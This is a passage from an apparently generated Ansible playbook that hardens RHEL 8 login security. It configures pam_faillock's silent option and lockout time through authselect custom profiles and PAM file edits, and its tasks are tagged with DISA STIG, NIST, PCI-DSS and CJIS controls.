          - result_authselect_profile.stdout is match(&quot;custom/&quot;)

        - name: Do Not Show System Messages When Unsuccessful Logon Attempts Occur
            - Define the new authselect custom profile as a local fact
          ansible.builtin.set_fact:
            authselect_current_profile: '{{ result_authselect_profile.stdout }}'
            authselect_custom_profile: custom/hardening
          when:
          - result_authselect_profile is not skipped
          - result_authselect_profile.stdout is not match(&quot;custom/&quot;)

        - name: Do Not Show System Messages When Unsuccessful Logon Attempts Occur
            - Get authselect current features to also enable them in the custom profile
          ansible.builtin.shell:
            cmd: authselect current | tail -n+3 | awk '{ print $2 }'
          register: result_authselect_features
          changed_when: false
          check_mode: false
          when:
          - result_authselect_profile is not skipped
          - authselect_current_profile is not match(&quot;custom/&quot;)

        - name: Do Not Show System Messages When Unsuccessful Logon Attempts Occur
            - Check if any custom profile with the same name was already created
          ansible.builtin.stat:
            path: /etc/authselect/{{ authselect_custom_profile }}
          register: result_authselect_custom_profile_present
          changed_when: false
          when:
          - result_authselect_profile is not skipped
          - authselect_current_profile is not match(&quot;custom/&quot;)

        - name: Do Not Show System Messages When Unsuccessful Logon Attempts Occur
            - Create an authselect custom profile based on the current profile
          ansible.builtin.command:
            cmd: authselect create-profile hardening -b {{ authselect_current_profile
              }}
          when:
          - result_authselect_profile is not skipped
          - result_authselect_check_cmd is success
          - authselect_current_profile is not match(&quot;^(custom/|local)&quot;)
          - not result_authselect_custom_profile_present.stat.exists

        - name: Do Not Show System Messages When Unsuccessful Logon Attempts Occur
            - Create an authselect custom profile based on sssd profile
          ansible.builtin.command:
            cmd: authselect create-profile hardening -b sssd
          when:
          - result_authselect_profile is not skipped
          - result_authselect_check_cmd is success
          - authselect_current_profile is match(&quot;local&quot;)
          - not result_authselect_custom_profile_present.stat.exists

        - name: Do Not Show System Messages When Unsuccessful Logon Attempts Occur
            - Ensure authselect changes are applied
          ansible.builtin.command:
            cmd: authselect apply-changes -b --backup=before-hardening-custom-profile
          when:
          - result_authselect_check_cmd is success
          - result_authselect_profile is not skipped
          - authselect_current_profile is not match(&quot;custom/&quot;)
          - authselect_custom_profile is not match(authselect_current_profile)

        - name: Do Not Show System Messages When Unsuccessful Logon Attempts Occur
            - Ensure the authselect custom profile is selected
          ansible.builtin.command:
            cmd: authselect select {{ authselect_custom_profile }}
          register: result_pam_authselect_select_profile
          when:
          - result_authselect_check_cmd is success
          - result_authselect_profile is not skipped
          - authselect_current_profile is not match(&quot;custom/&quot;)
          - authselect_custom_profile is not match(authselect_current_profile)

        - name: Do Not Show System Messages When Unsuccessful Logon Attempts Occur
            - Restore the authselect features in the custom profile
          ansible.builtin.command:
            cmd: authselect enable-feature {{ item }}
          loop: '{{ result_authselect_features.stdout_lines }}'
          register: result_pam_authselect_restore_features
          when:
          - result_authselect_profile is not skipped
          - result_authselect_features is not skipped
          - result_pam_authselect_select_profile is not skipped

        - name: Do Not Show System Messages When Unsuccessful Logon Attempts Occur
            - Ensure authselect changes are applied
          ansible.builtin.command:
            cmd: authselect apply-changes -b --backup=after-hardening-custom-profile
          when:
          - result_authselect_check_cmd is success
          - result_authselect_profile is not skipped
          - result_pam_authselect_restore_features is not skipped

        - name: Do Not Show System Messages When Unsuccessful Logon Attempts Occur
            - Change the PAM file to be edited according to the custom authselect
            profile
          ansible.builtin.set_fact:
            pam_file_path: /etc/authselect/{{ authselect_custom_profile }}/{{ pam_file_path
              | basename }}
          when:
          - authselect_custom_profile is defined
        when:
        - result_authselect_present.stat.exists

      - name: Do Not Show System Messages When Unsuccessful Logon Attempts Occur -
          Define a fact for control already filtered in case filters are used
        ansible.builtin.set_fact:
          pam_module_control: ''

      - name: Do Not Show System Messages When Unsuccessful Logon Attempts Occur -
          Check if {{ pam_file_path }} file is present
        ansible.builtin.stat:
          path: '{{ pam_file_path }}'
        register: result_pam_file_present

      - name: Do Not Show System Messages When Unsuccessful Logon Attempts Occur -
          Ensure the &quot;silent&quot; option from &quot;pam_faillock.so&quot; is not present in {{ pam_file_path
          }}
        ansible.builtin.replace:
          dest: '{{ pam_file_path }}'
          regexp: (.*auth.*pam_faillock.so.*)\bsilent\b=?[0-9a-zA-Z]*(.*)
          replace: \1\2
        register: result_pam_option_removal
        when:
        - result_pam_file_present.stat.exists

      - name: Do Not Show System Messages When Unsuccessful Logon Attempts Occur -
          Ensure authselect changes are applied
        ansible.builtin.command:
          cmd: authselect apply-changes -b
        when:
        - result_authselect_present.stat.exists
        - result_pam_option_removal is changed
      when:
      - result_pam_auth_file_present.stat.exists

    - name: Do Not Show System Messages When Unsuccessful Logon Attempts Occur - Check
        if /etc/pam.d/password-auth file is present
      ansible.builtin.stat:
        path: /etc/pam.d/password-auth
      register: result_pam_password_auth_file_present

    - name: Do Not Show System Messages When Unsuccessful Logon Attempts Occur - Check
        the proper remediation for the system
      block:

      - name: Do Not Show System Messages When Unsuccessful Logon Attempts Occur -
          Define the PAM file to be edited as a local fact
        ansible.builtin.set_fact:
          pam_file_path: /etc/pam.d/password-auth

      - name: Do Not Show System Messages When Unsuccessful Logon Attempts Occur -
          Check if system relies on authselect tool
        ansible.builtin.stat:
          path: /usr/bin/authselect
        register: result_authselect_present

      - name: Do Not Show System Messages When Unsuccessful Logon Attempts Occur -
          Ensure authselect custom profile is used if authselect is present
        block:

        - name: Do Not Show System Messages When Unsuccessful Logon Attempts Occur
            - Check integrity of authselect current profile
          ansible.builtin.command:
            cmd: authselect check
          register: result_authselect_check_cmd
          changed_when: false
          check_mode: false
          failed_when: false

        - name: Do Not Show System Messages When Unsuccessful Logon Attempts Occur
            - Informative message based on the authselect integrity check result
          ansible.builtin.assert:
            that:
            - ansible_check_mode or result_authselect_check_cmd.rc == 0
            fail_msg:
            - authselect integrity check failed. Remediation aborted!
            - This remediation could not be applied because an authselect profile
              was not selected or the selected profile is not intact.
            - It is not recommended to manually edit the PAM files when authselect
              tool is available.
            - In cases where the default authselect profile does not cover a specific
              demand, a custom authselect profile is recommended.
            success_msg:
            - authselect integrity check passed

        - name: Do Not Show System Messages When Unsuccessful Logon Attempts Occur
            - Get authselect current profile
          ansible.builtin.shell:
            cmd: authselect current -r | awk '{ print $1 }'
          register: result_authselect_profile
          changed_when: false
          when:
          - result_authselect_check_cmd is success

        - name: Do Not Show System Messages When Unsuccessful Logon Attempts Occur
            - Define the current authselect profile as a local fact
          ansible.builtin.set_fact:
            authselect_current_profile: '{{ result_authselect_profile.stdout }}'
            authselect_custom_profile: '{{ result_authselect_profile.stdout }}'
          when:
          - result_authselect_profile is not skipped
          - result_authselect_profile.stdout is match(&quot;custom/&quot;)

        - name: Do Not Show System Messages When Unsuccessful Logon Attempts Occur
            - Define the new authselect custom profile as a local fact
          ansible.builtin.set_fact:
            authselect_current_profile: '{{ result_authselect_profile.stdout }}'
            authselect_custom_profile: custom/hardening
          when:
          - result_authselect_profile is not skipped
          - result_authselect_profile.stdout is not match(&quot;custom/&quot;)

        - name: Do Not Show System Messages When Unsuccessful Logon Attempts Occur
            - Get authselect current features to also enable them in the custom profile
          ansible.builtin.shell:
            cmd: authselect current | tail -n+3 | awk '{ print $2 }'
          register: result_authselect_features
          changed_when: false
          check_mode: false
          when:
          - result_authselect_profile is not skipped
          - authselect_current_profile is not match(&quot;custom/&quot;)

        - name: Do Not Show System Messages When Unsuccessful Logon Attempts Occur
            - Check if any custom profile with the same name was already created
          ansible.builtin.stat:
            path: /etc/authselect/{{ authselect_custom_profile }}
          register: result_authselect_custom_profile_present
          changed_when: false
          when:
          - result_authselect_profile is not skipped
          - authselect_current_profile is not match(&quot;custom/&quot;)

        - name: Do Not Show System Messages When Unsuccessful Logon Attempts Occur
            - Create an authselect custom profile based on the current profile
          ansible.builtin.command:
            cmd: authselect create-profile hardening -b {{ authselect_current_profile
              }}
          when:
          - result_authselect_profile is not skipped
          - result_authselect_check_cmd is success
          - authselect_current_profile is not match(&quot;^(custom/|local)&quot;)
          - not result_authselect_custom_profile_present.stat.exists

        - name: Do Not Show System Messages When Unsuccessful Logon Attempts Occur
            - Create an authselect custom profile based on sssd profile
          ansible.builtin.command:
            cmd: authselect create-profile hardening -b sssd
          when:
          - result_authselect_profile is not skipped
          - result_authselect_check_cmd is success
          - authselect_current_profile is match(&quot;local&quot;)
          - not result_authselect_custom_profile_present.stat.exists

        - name: Do Not Show System Messages When Unsuccessful Logon Attempts Occur
            - Ensure authselect changes are applied
          ansible.builtin.command:
            cmd: authselect apply-changes -b --backup=before-hardening-custom-profile
          when:
          - result_authselect_check_cmd is success
          - result_authselect_profile is not skipped
          - authselect_current_profile is not match(&quot;custom/&quot;)
          - authselect_custom_profile is not match(authselect_current_profile)

        - name: Do Not Show System Messages When Unsuccessful Logon Attempts Occur
            - Ensure the authselect custom profile is selected
          ansible.builtin.command:
            cmd: authselect select {{ authselect_custom_profile }}
          register: result_pam_authselect_select_profile
          when:
          - result_authselect_check_cmd is success
          - result_authselect_profile is not skipped
          - authselect_current_profile is not match(&quot;custom/&quot;)
          - authselect_custom_profile is not match(authselect_current_profile)

        - name: Do Not Show System Messages When Unsuccessful Logon Attempts Occur
            - Restore the authselect features in the custom profile
          ansible.builtin.command:
            cmd: authselect enable-feature {{ item }}
          loop: '{{ result_authselect_features.stdout_lines }}'
          register: result_pam_authselect_restore_features
          when:
          - result_authselect_profile is not skipped
          - result_authselect_features is not skipped
          - result_pam_authselect_select_profile is not skipped

        - name: Do Not Show System Messages When Unsuccessful Logon Attempts Occur
            - Ensure authselect changes are applied
          ansible.builtin.command:
            cmd: authselect apply-changes -b --backup=after-hardening-custom-profile
          when:
          - result_authselect_check_cmd is success
          - result_authselect_profile is not skipped
          - result_pam_authselect_restore_features is not skipped

        - name: Do Not Show System Messages When Unsuccessful Logon Attempts Occur
            - Change the PAM file to be edited according to the custom authselect
            profile
          ansible.builtin.set_fact:
            pam_file_path: /etc/authselect/{{ authselect_custom_profile }}/{{ pam_file_path
              | basename }}
          when:
          - authselect_custom_profile is defined
        when:
        - result_authselect_present.stat.exists

      - name: Do Not Show System Messages When Unsuccessful Logon Attempts Occur -
          Define a fact for control already filtered in case filters are used
        ansible.builtin.set_fact:
          pam_module_control: ''

      - name: Do Not Show System Messages When Unsuccessful Logon Attempts Occur -
          Check if {{ pam_file_path }} file is present
        ansible.builtin.stat:
          path: '{{ pam_file_path }}'
        register: result_pam_file_present

      - name: Do Not Show System Messages When Unsuccessful Logon Attempts Occur -
          Ensure the &quot;silent&quot; option from &quot;pam_faillock.so&quot; is not present in {{ pam_file_path
          }}
        ansible.builtin.replace:
          dest: '{{ pam_file_path }}'
          regexp: (.*auth.*pam_faillock.so.*)\bsilent\b=?[0-9a-zA-Z]*(.*)
          replace: \1\2
        register: result_pam_option_removal
        when:
        - result_pam_file_present.stat.exists

      - name: Do Not Show System Messages When Unsuccessful Logon Attempts Occur -
          Ensure authselect changes are applied
        ansible.builtin.command:
          cmd: authselect apply-changes -b
        when:
        - result_authselect_present.stat.exists
        - result_pam_option_removal is changed
      when:
      - result_pam_password_auth_file_present.stat.exists
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - '&quot;pam&quot; in ansible_facts.packages'
    - result_faillock_conf_check.stat.exists
    tags:
    - DISA-STIG-RHEL-08-020018
    - DISA-STIG-RHEL-08-020019
    - accounts_passwords_pam_faillock_silent
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Do Not Show System Messages When Unsuccessful Logon Attempts Occur - Ensure
      the pam_faillock.so silent parameter in PAM files
    block:

    - name: Do Not Show System Messages When Unsuccessful Logon Attempts Occur - Ensure
        the inclusion of pam_faillock.so preauth silent parameter in auth section
      ansible.builtin.lineinfile:
        path: '{{ item }}'
        backrefs: true
        regexp: (^\s*auth\s+)([\w\[].*\b)(\s+pam_faillock.so preauth(:?(?!silent).)*)
        line: \1required\3 silent
        state: present
      loop:
      - /etc/pam.d/system-auth
      - /etc/pam.d/password-auth
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - '&quot;pam&quot; in ansible_facts.packages'
    - not result_faillock_conf_check.stat.exists
    tags:
    - DISA-STIG-RHEL-08-020018
    - DISA-STIG-RHEL-08-020019
    - accounts_passwords_pam_faillock_silent
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Set Lockout Time for Failed Password Attempts - Check if system relies on
      authselect tool
    ansible.builtin.stat:
      path: /usr/bin/authselect
    register: result_authselect_present
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - '&quot;pam&quot; in ansible_facts.packages'
    tags:
    - CJIS-5.5.3
    - DISA-STIG-RHEL-08-020014
    - DISA-STIG-RHEL-08-020015
    - NIST-800-171-3.1.8
    - NIST-800-53-AC-7(b)
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-8.1.7
    - PCI-DSSv4-8.3
    - PCI-DSSv4-8.3.4
    - accounts_passwords_pam_faillock_unlock_time
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Set Lockout Time for Failed Password Attempts - Remediation where authselect
      tool is present
    block:

    - name: Set Lockout Time for Failed Password Attempts - Check integrity of authselect
        current profile
      ansible.builtin.command:
        cmd: authselect check
      register: result_authselect_check_cmd
      changed_when: false
      check_mode: false
      failed_when: false

    - name: Set Lockout Time for Failed Password Attempts - Informative message based
        on the authselect integrity check result
      ansible.builtin.assert:
        that:
        - ansible_check_mode or result_authselect_check_cmd.rc == 0
        fail_msg:
        - authselect integrity check failed. Remediation aborted!
        - This remediation could not be applied because an authselect profile was
          not selected or the selected profile is not intact.
        - It is not recommended to manually edit the PAM files when authselect tool
          is available.
        - In cases where the default authselect profile does not cover a specific
          demand, a custom authselect profile is recommended.
        success_msg:
        - authselect integrity check passed

    - name: Set Lockout Time for Failed Password Attempts - Get authselect current
        features
      ansible.builtin.shell:
        cmd: authselect current | tail -n+3 | awk '{ print $2 }'
      register: result_authselect_features
      changed_when: false
      check_mode: false
      when:
      - result_authselect_check_cmd is success

    - name: Set Lockout Time for Failed Password Attempts - Ensure &quot;with-faillock&quot;
        feature is enabled using authselect tool
      ansible.builtin.command:
        cmd: authselect enable-feature with-faillock
      register: result_authselect_enable_feature_cmd
      when:
      - result_authselect_check_cmd is success
      - result_authselect_features.stdout is not search(&quot;with-faillock&quot;)

    - name: Set Lockout Time for Failed Password Attempts - Ensure authselect changes
        are applied
      ansible.builtin.command:
        cmd: authselect apply-changes -b
      when:
      - result_authselect_enable_feature_cmd is not skipped
      - result_authselect_enable_feature_cmd is success
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - '&quot;pam&quot; in ansible_facts.packages'
    - result_authselect_present.stat.exists
    tags:
    - CJIS-5.5.3
    - DISA-STIG-RHEL-08-020014
    - DISA-STIG-RHEL-08-020015
    - NIST-800-171-3.1.8
    - NIST-800-53-AC-7(b)
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-8.1.7
    - PCI-DSSv4-8.3
    - PCI-DSSv4-8.3.4
    - accounts_passwords_pam_faillock_unlock_time
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Set Lockout Time for Failed Password Attempts - Remediation where authselect
      tool is not present
    block:

    - name: Set Lockout Time for Failed Password Attempts - Check if pam_faillock.so
        is already enabled
      ansible.builtin.lineinfile:
        path: /etc/pam.d/system-auth
        regexp: .*auth.*pam_faillock\.so (preauth|authfail)
        state: absent
      check_mode: true
      changed_when: false
      register: result_pam_faillock_is_enabled

    - name: Set Lockout Time for Failed Password Attempts - Enable pam_faillock.so
        preauth editing PAM files
      ansible.builtin.lineinfile:
        path: '{{ item }}'
        line: auth        required      pam_faillock.so preauth
        insertbefore: ^auth.*sufficient.*pam_unix\.so.*
        state: present
      loop:
      - /etc/pam.d/system-auth
      - /etc/pam.d/password-auth
      when:
      - result_pam_faillock_is_enabled.found == 0

    - name: Set Lockout Time for Failed Password Attempts - Enable pam_faillock.so
        authfail editing PAM files
      ansible.builtin.lineinfile:
        path: '{{ item }}'
        line: auth        required      pam_faillock.so authfail
        insertbefore: ^auth.*required.*pam_deny\.so.*
        state: present
      loop:
      - /etc/pam.d/system-auth
      - /etc/pam.d/password-auth
      when:
      - result_pam_faillock_is_enabled.found == 0

    - name: Set Lockout Time for Failed Password Attempts - Enable pam_faillock.so
        account section editing PAM files
      ansible.builtin.lineinfile:
        path: '{{ item }}'
        line: account     required      pam_faillock.so
        insertbefore: ^account.*required.*pam_unix\.so.*
        state: present
      loop:
      - /etc/pam.d/system-auth
      - /etc/pam.d/password-auth
      when:
      - result_pam_faillock_is_enabled.found == 0
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - '&quot;pam&quot; in ansible_facts.packages'
    - not result_authselect_present.stat.exists
    tags:
    - CJIS-5.5.3
    - DISA-STIG-RHEL-08-020014
    - DISA-STIG-RHEL-08-020015
    - NIST-800-171-3.1.8
    - NIST-800-53-AC-7(b)
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-8.1.7
    - PCI-DSSv4-8.3
    - PCI-DSSv4-8.3.4
    - accounts_passwords_pam_faillock_unlock_time
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Set Lockout Time for Failed Password Attempts - Check the presence of /etc/security/faillock.conf
      file
    ansible.builtin.stat:
      path: /etc/security/faillock.conf
    register: result_faillock_conf_check
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - '&quot;pam&quot; in ansible_facts.packages'
    tags:
    - CJIS-5.5.3
    - DISA-STIG-RHEL-08-020014
    - DISA-STIG-RHEL-08-020015
    - NIST-800-171-3.1.8
    - NIST-800-53-AC-7(b)
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-8.1.7
    - PCI-DSSv4-8.3
    - PCI-DSSv4-8.3.4
    - accounts_passwords_pam_faillock_unlock_time
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Set Lockout Time for Failed Password Attempts - Ensure the pam_faillock.so
      unlock_time parameter in /etc/security/faillock.conf
    ansible.builtin.lineinfile:
      path: /etc/security/faillock.conf
      regexp: ^\s*unlock_time\s*=
      line: unlock_time = {{ var_accounts_passwords_pam_faillock_unlock_time }}
      state: present
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - '&quot;pam&quot; in ansible_facts.packages'
    - result_faillock_conf_check.stat.exists
    tags:
    - CJIS-5.5.3
    - DISA-STIG-RHEL-08-020014
    - DISA-STIG-RHEL-08-020015
    - NIST-800-171-3.1.8
    - NIST-800-53-AC-7(b)
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-8.1.7
    - PCI-DSSv4-8.3
    - PCI-DSSv4-8.3.4
    - accounts_passwords_pam_faillock_unlock_time
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Set Lockout Time for Failed Password Attempts - Ensure the pam_faillock.so
      unlock_time parameter not in PAM files
    block:

    - name: Set Lockout Time for Failed Password Attempts - Check if /etc/pam.d/system-auth
        file is present
      ansible.builtin.stat:
        path: /etc/pam.d/system-auth
      register: result_pam_auth_file_present

    - name: Set Lockout Time for Failed Password Attempts - Check the proper remediation
        for the system
      block:

      - name: Set Lockout Time for Failed Password Attempts - Define the PAM file
          to be edited as a local fact
        ansible.builtin.set_fact:
          pam_file_path: /etc/pam.d/system-auth

      - name: Set Lockout Time for Failed Password Attempts - Check if system relies
          on authselect tool
        ansible.builtin.stat:
          path: /usr/bin/authselect
        register: result_authselect_present

      - name: Set Lockout Time for Failed Password Attempts - Ensure authselect custom
          profile is used if authselect is present
        block:

        - name: Set Lockout Time for Failed Password Attempts - Check integrity of
            authselect current profile
          ansible.builtin.command:
            cmd: authselect check
          register: result_authselect_check_cmd
          changed_when: false
          check_mode: false
          failed_when: false

        - name: Set Lockout Time for Failed Password Attempts - Informative message
            based on the authselect integrity check result
          ansible.builtin.assert:
            that:
            - ansible_check_mode or result_authselect_check_cmd.rc == 0
            fail_msg:
            - authselect integrity check failed. Remediation aborted!
            - This remediation could not be applied because an authselect profile
              was not selected or the selected profile is not intact.
            - It is not recommended to manually edit the PAM files when authselect
              tool is available.
            - In cases where the default authselect profile does not cover a specific
              demand, a custom authselect profile is recommended.
            success_msg:
            - authselect integrity check passed

        - name: Set Lockout Time for Failed Password Attempts - Get authselect current
            profile
          ansible.builtin.shell:
            cmd: authselect current -r | awk '{ print $1 }'
          register: result_authselect_profile
          changed_when: false
          when:
          - result_authselect_check_cmd is success

        - name: Set Lockout Time for Failed Password Attempts - Define the current
            authselect profile as a local fact
          ansible.builtin.set_fact:
            authselect_current_profile: '{{ result_authselect_profile.stdout }}'
            authselect_custom_profile: '{{ result_authselect_profile.stdout }}'
          when:
          - result_authselect_profile is not skipped
          - result_authselect_profile.stdout is match(&quot;custom/&quot;)

        - name: Set Lockout Time for Failed Password Attempts - Define the new authselect
            custom profile as a local fact
          ansible.builtin.set_fact:
            authselect_current_profile: '{{ result_authselect_profile.stdout }}'
            authselect_custom_profile: custom/hardening
          when:
          - result_authselect_profile is not skipped
          - result_authselect_profile.stdout is not match(&quot;custom/&quot;)

        - name: Set Lockout Time for Failed Password Attempts - Get authselect current
            features to also enable them in the custom profile
          ansible.builtin.shell:
            cmd: authselect current | tail -n+3 | awk '{ print $2 }'
          register: result_authselect_features
          changed_when: false
          check_mode: false
          when:
          - result_authselect_profile is not skipped
          - authselect_current_profile is not match(&quot;custom/&quot;)

        - name: Set Lockout Time for Failed Password Attempts - Check if any custom
            profile with the same name was already created
          ansible.builtin.stat:
            path: /etc/authselect/{{ authselect_custom_profile }}
          register: result_authselect_custom_profile_present
          changed_when: false
          when:
          - result_authselect_profile is not skipped
          - authselect_current_profile is not match(&quot;custom/&quot;)

        - name: Set Lockout Time for Failed Password Attempts - Create an authselect
            custom profile based on the current profile
          ansible.builtin.command:
            cmd: authselect create-profile hardening -b {{ authselect_current_profile
              }}
          when:
          - result_authselect_profile is not skipped
          - result_authselect_check_cmd is success
          - authselect_current_profile is not match(&quot;^(custom/|local)&quot;)
          - not result_authselect_custom_profile_present.stat.exists

        - name: Set Lockout Time for Failed Password Attempts - Create an authselect
            custom profile based on sssd profile
          ansible.builtin.command:
            cmd: authselect create-profile hardening -b sssd
          when:
          - result_authselect_profile is not skipped
          - result_authselect_check_cmd is success
          - authselect_current_profile is match(&quot;local&quot;)
          - not result_authselect_custom_profile_present.stat.exists

        - name: Set Lockout Time for Failed Password Attempts - Ensure authselect
            changes are applied
          ansible.builtin.command:
            cmd: authselect apply-changes -b --backup=before-hardening-custom-profile
          when:
          - result_authselect_check_cmd is success
          - result_authselect_profile is not skipped
          - authselect_current_profile is not match(&quot;custom/&quot;)
          - authselect_custom_profile is not match(authselect_current_profile)

        - name: Set Lockout Time for Failed Password Attempts - Ensure the authselect
            custom profile is selected
          ansible.builtin.command:
            cmd: authselect select {{ authselect_custom_profile }}
          register: result_pam_authselect_select_profile
          when:
          - result_authselect_check_cmd is success
          - result_authselect_profile is not skipped
          - authselect_current_profile is not match(&quot;custom/&quot;)
          - authselect_custom_profile is not match(authselect_current_profile)

        - name: Set Lockout Time for Failed Password Attempts - Restore the authselect
            features in the custom profile
          ansible.builtin.command:
            cmd: authselect enable-feature {{ item }}
          loop: '{{ result_authselect_features.stdout_lines }}'
          register: result_pam_authselect_restore_features
          when:
          - result_authselect_profile is not skipped
          - result_authselect_features is not skipped
          - result_pam_authselect_select_profile is not skipped

        - name: Set Lockout Time for Failed Password Attempts - Ensure authselect
            changes are applied
          ansible.builtin.command:
            cmd: authselect apply-changes -b --backup=after-hardening-custom-profile
          when:
          - result_authselect_check_cmd is success
          - result_authselect_profile is not skipped
          - result_pam_authselect_restore_features is not skipped

        - name: Set Lockout Time for Failed Password Attempts - Change the PAM file
            to be edited according to the custom authselect profile
          ansible.builtin.set_fact:
            pam_file_path: /etc/authselect/{{ authselect_custom_profile }}/{{ pam_file_path
              | basename }}
          when:
          - authselect_custom_profile is defined
        when:
        - result_authselect_present.stat.exists

      - name: Set Lockout Time for Failed Password Attempts - Define a fact for control
          already filtered in case filters are used
        ansible.builtin.set_fact:
          pam_module_control: ''

      - name: Set Lockout Time for Failed Password Attempts - Check if {{ pam_file_path
          }} file is present
        ansible.builtin.stat:
          path: '{{ pam_file_path }}'
        register: result_pam_file_present

      - name: Set Lockout Time for Failed Password Attempts - Ensure the &quot;unlock_time&quot;
          option from &quot;pam_faillock.so&quot; is not present in {{ pam_file_path }}
        ansible.builtin.replace:
          dest: '{{ pam_file_path }}'
          regexp: (.*auth.*pam_faillock.so.*)\bunlock_time\b=?[0-9a-zA-Z]*(.*)
          replace: \1\2
        register: result_pam_option_removal
        when:
        - result_pam_file_present.stat.exists

      - name: Set Lockout Time for Failed Password Attempts - Ensure authselect changes
          are applied
        ansible.builtin.command:
          cmd: authselect apply-changes -b
        when:
        - result_authselect_present.stat.exists
        - result_pam_option_removal is changed
      when:
      - result_pam_auth_file_present.stat.exists

    - name: Set Lockout Time for Failed Password Attempts - Check if /etc/pam.d/password-auth
        file is present
      ansible.builtin.stat:
        path: /etc/pam.d/password-auth
      register: result_pam_password_auth_file_present

    - name: Set Lockout Time for Failed Password Attempts - Check the proper remediation
        for the system
      block:

      - name: Set Lockout Time for Failed Password Attempts - Define the PAM file
          to be edited as a local fact
        ansible.builtin.set_fact:
          pam_file_path: /etc/pam.d/password-auth

      - name: Set Lockout Time for Failed Password Attempts - Check if system relies
          on authselect tool
        ansible.builtin.stat:
          path: /usr/bin/authselect
        register: result_authselect_present

      - name: Set Lockout Time for Failed Password Attempts - Ensure authselect custom
          profile is used if authselect is present
        block:

        - name: Set Lockout Time for Failed Password Attempts - Check integrity of
            authselect current profile
          ansible.builtin.command:
            cmd: authselect check
          register: result_authselect_check_cmd
          changed_when: false
          check_mode: false
          failed_when: false

        - name: Set Lockout Time for Failed Password Attempts - Informative message
            based on the authselect integrity check result
          ansible.builtin.assert:
            that:
            - ansible_check_mode or result_authselect_check_cmd.rc == 0
            fail_msg:
            - authselect integrity check failed. Remediation aborted!
            - This remediation could not be applied because an authselect profile
              was not selected or the selected profile is not intact.
            - It is not recommended to manually edit the PAM files when authselect
              tool is available.
            - In cases where the default authselect profile does not cover a specific
              demand, a custom authselect profile is recommended.
            success_msg:
            - authselect integrity check passed

        - name: Set Lockout Time for Failed Password Attempts - Get authselect current
            profile
          ansible.builtin.shell:
            cmd: authselect current -r | awk '{ print $1 }'
          register: result_authselect_profile
          changed_when: false
          when:
          - result_authselect_check_cmd is success

        - name: Set Lockout Time for Failed Password Attempts - Define the current
            authselect profile as a local fact
          ansible.builtin.set_fact:
            authselect_current_profile: '{{ result_authselect_profile.stdout }}'
            authselect_custom_profile: '{{ result_authselect_profile.stdout }}'
          when:
          - result_authselect_profile is not skipped
          - result_authselect_profile.stdout is match(&quot;custom/&quot;)

        - name: Set Lockout Time for Failed Password Attempts - Define the new authselect
            custom profile as a local fact
          ansible.builtin.set_fact:
            authselect_current_profile: '{{ result_authselect_profile.stdout }}'
            authselect_custom_profile: custom/hardening
          when:
          - result_authselect_profile is not skipped
          - result_authselect_profile.stdout is not match(&quot;custom/&quot;)

        - name: Set Lockout Time for Failed Password Attempts - Get authselect current
            features to also enable them in the custom profile
          ansible.builtin.shell:
            cmd: authselect current | tail -n+3 | awk '{ print $2 }'
          register: result_authselect_features
          changed_when: false
          check_mode: false
          when:
          - result_authselect_profile is not skipped
          - authselect_current_profile is not match(&quot;custom/&quot;)

        - name: Set Lockout Time for Failed Password Attempts - Check if any custom
            profile with the same name was already created
          ansible.builtin.stat:
            path: /etc/authselect/{{ authselect_custom_profile }}
          register: result_authselect_custom_profile_present
          changed_when: false
          when:
          - result_authselect_profile is not skipped
          - authselect_current_profile is not match(&quot;custom/&quot;)

        - name: Set Lockout Time for Failed Password Attempts - Create an authselect
            custom profile based on the current profile
          ansible.builtin.command:
            cmd: authselect create-profile hardening -b {{ authselect_current_profile
              }}
          when:
          - result_authselect_profile is not skipped
          - result_authselect_check_cmd is success
          - authselect_current_profile is not match(&quot;^(custom/|local)&quot;)
          - not result_authselect_custom_profile_present.stat.exists

        - name: Set Lockout Time for Failed Password Attempts - Create an authselect
            custom profile based on sssd profile
          ansible.builtin.command:
            cmd: authselect create-profile hardening -b sssd
          when:
          - result_authselect_profile is not skipped
          - result_authselect_check_cmd is success
          - authselect_current_profile is match(&quot;local&quot;)
          - not result_authselect_custom_profile_present.stat.exists

        - name: Set Lockout Time for Failed Password Attempts - Ensure authselect
            changes are applied
          ansible.builtin.command:
            cmd: authselect apply-changes -b --backup=before-hardening-custom-profile
          when:
          - result_authselect_check_cmd is success
          - result_authselect_profile is not skipped
          - authselect_current_profile is not match(&quot;custom/&quot;)
          - authselect_custom_profile is not match(authselect_current_profile)

        - name: Set Lockout Time for Failed Password Attempts - Ensure the authselect
            custom profile is selected
          ansible.builtin.command:
            cmd: authselect select {{ authselect_custom_profile }}
          register: result_pam_authselect_select_profile
          when:
          - result_authselect_check_cmd is success
          - result_authselect_profile is not skipped
          - authselect_current_profile is not match(&quot;custom/&quot;)
          - authselect_custom_profile is not match(authselect_current_profile)

        - name: Set Lockout Time for Failed Password Attempts - Restore the authselect
            features in the custom profile
          ansible.builtin.command:
            cmd: authselect enable-feature {{ item }}
          loop: '{{ result_authselect_features.stdout_lines }}'
          register: result_pam_authselect_restore_features
          when:
          - result_authselect_profile is not skipped
          - result_authselect_features is not skipped
          - result_pam_authselect_select_profile is not skipped

        - name: Set Lockout Time for Failed Password Attempts - Ensure authselect
            changes are applied
          ansible.builtin.command:
            cmd: authselect apply-changes -b --backup=after-hardening-custom-profile
          when:
